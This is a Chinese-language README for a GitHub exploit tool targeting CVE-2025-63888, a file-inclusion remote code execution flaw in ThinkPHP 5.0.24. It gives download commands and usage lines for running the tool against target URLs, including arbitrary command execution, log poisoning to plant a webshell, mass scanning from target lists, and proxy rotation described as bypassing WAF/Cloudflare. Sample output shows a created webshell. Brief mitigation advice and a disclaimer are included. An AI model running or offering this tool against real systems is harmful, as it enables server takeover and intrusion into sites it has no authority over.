CVE-2025-63888 ThinkPHP 5.0.24 文件包含远程代码执行漏洞利用工具

一个用于检测和测试 ThinkPHP 5.0.24 中 CVE-2025-63888 漏洞的安全研究工具，该漏洞允许通过文件包含攻击实现远程代码执行。

⚠️ 免责声明

此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。请仅在您拥有所有权或已获得明确书面许可的系统上使用此工具。

📋 概述

CVE-2025-63888 是 ThinkPHP 5.0.24 中的一个严重远程代码执行漏洞。该漏洞存在于 thinkphp/library/think/template/driver/File.php 文件的 read 函数中，攻击者可通过操控 view() 函数中的模板路径，利用文件包含攻击执行任意代码。

CVSS 评分： 9.8（严重）
受影响版本： ThinkPHP 5.0.24（精确版本）
漏洞文件： thinkphp/library/think/template/driver/File.php
漏洞函数： read() 方法

🔍 功能特性

自动 ThinkPHP 检测： 识别 ThinkPHP 安装及版本
漏洞测试： 测试 CVE-2025-63888 文件包含漏洞
端点发现： 自动查找易受攻击的端点
文件包含利用： 演示文件包含能力
日志文件投毒： 尝试污染日志文件以实现远程代码执行
Webshell 创建： 通过文件包含创建 webshell
命令执行： 执行任意命令（仅限授权测试）
多线程支持： 并行扫描多个目标
代理支持： 绕过 WAF/Cloudflare 限制
JSON 导出： 以 JSON 格式输出详细结果

📦 安装

前提条件

Python 3.6 或更高版本
pip（Python 包管理器）

快速安装

# 克隆仓库
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit

# 安装依赖
pip install -r requirements.txt

# 使脚本可执行（可选）
chmod +x cve_2025_63888_exploit.py

替代方案：直接下载

# 下载脚本
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py

# 安装依赖
pip install requests

🚀 用法

基本用法

# 单个目标
python3 cve_2025_63888_exploit.py -u http://target.com

# 执行自定义命令
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"

# 从文件读取多个目标
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json

# 使用多线程加速扫描
python3 cve_2025_63888_exploit.py -u http://target.com -t 5

# 调试时输出详细信息
python3 cve_2025_63888_exploit.py -u http://target.com -v

使用代理

# 单个代理
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port

# 从文件读取多个代理
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt

命令行选项

-u, --url          目标 URL
-f, --file         包含目标 URL 的文件（每行一个）
-c, --command      要执行的命令（默认：id）
-t, --threads      线程数（默认：1）
-o, --output       输出文件（默认：uknf_results.json）
-v, --verbose      启用详细日志
--proxy            代理 URL（例如 http://127.0.0.1:8080）
--proxy-list       包含代理 URL 的文件（每行一个）

📊 输出

脚本会生成一个包含详细结果的 JSON 文件：

{
  "target": "http://target.com",
  "timestamp": "2025-11-20T15:05:35.763409",
  "vulnerable": true,
  "endpoint_found": true,
  "exploitation_successful": true,
  "command_executed": "id",
  "output": "uid=1000(user) gid=1000(user)...",
  "vulnerable_endpoint": "/index.php/index/index/view",
  "webshell_created": true,
  "webshell_path": "../../../runtime/log/2025/11/18.log"
}

🔬 工作原理

检测阶段： 扫描 ThinkPHP 框架的指示特征
版本检测： 尝试识别 ThinkPHP 版本（5.0.24）
漏洞测试： 测试文件包含漏洞
端点发现： 使用 view() 函数查找易受攻击的端点
利用： 通过文件包含演示远程代码执行能力

🛡️ 缓解措施

如果您正在使用 ThinkPHP 5.0.24：

立即升级：
- 更新至 ThinkPHP 5.0.25+ 或更高版本
- 或升级至 ThinkPHP 6.x/7.x
实施路径验证：
- 在 view() 函数中添加严格的路径验证
- 阻止目录遍历字符（../、..）
- 将模板路径限制在白名单目录内
代码级修复：
- 在处理前验证模板路径
- 使用 realpath() 确保文件位于允许的目录内
- 实现函数白名单

📚 参考

CVE： CVE-2025-63888
GitHub Gist： CVE-2025-63888 详情
语雀文章： 详细分析
ThinkPHP 手册： 官方文档

📖 示例

示例 1：单个目标扫描

python3 cve_2025_63888_exploit.py -u https://example.com

示例 2：多个目标并输出结果

# 创建目标文件
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# 运行扫描
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json

示例 3：自定义命令执行

python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"

示例 4：使用代理

# 单个代理
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080

# 从文件读取多个代理
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt

🤝 贡献

欢迎贡献！请随时提交 Pull Request。

Fork 该仓库
创建您的功能分支（git checkout -b feature/AmazingFeature）
提交您的更改（git commit -m 'Add some AmazingFeature'）
推送到分支（git push origin feature/AmazingFeature）
打开一个 Pull Request

🐛 问题

如果您遇到任何问题或有建议，请在 GitHub 上提交 issue。

📝 许可证

本项目采用 MIT 许可证授权 - 详见 LICENSE 文件。

⭐ Star 历史

如果您觉得这个工具有用，请考虑在 GitHub 上给它一个 star！

⚖️ 法律声明

此工具仅供教育和授权安全测试之用。作者对因使用本程序造成的任何滥用或损害概不负责。用户有责任在测试任何系统之前确保已获得适当授权。

🙏 致谢

原始漏洞报告者：Master-0-0
ThinkPHP 安全社区
参与漏洞分析的安全研究人员

💰 捐赠

如果您觉得这个工具有用并希望支持该项目：

比特币（BTC）：

bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv

以太坊（ETH）：

0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7

感谢您的支持！🙏

cve-2025-63888-exploit

最受欢迎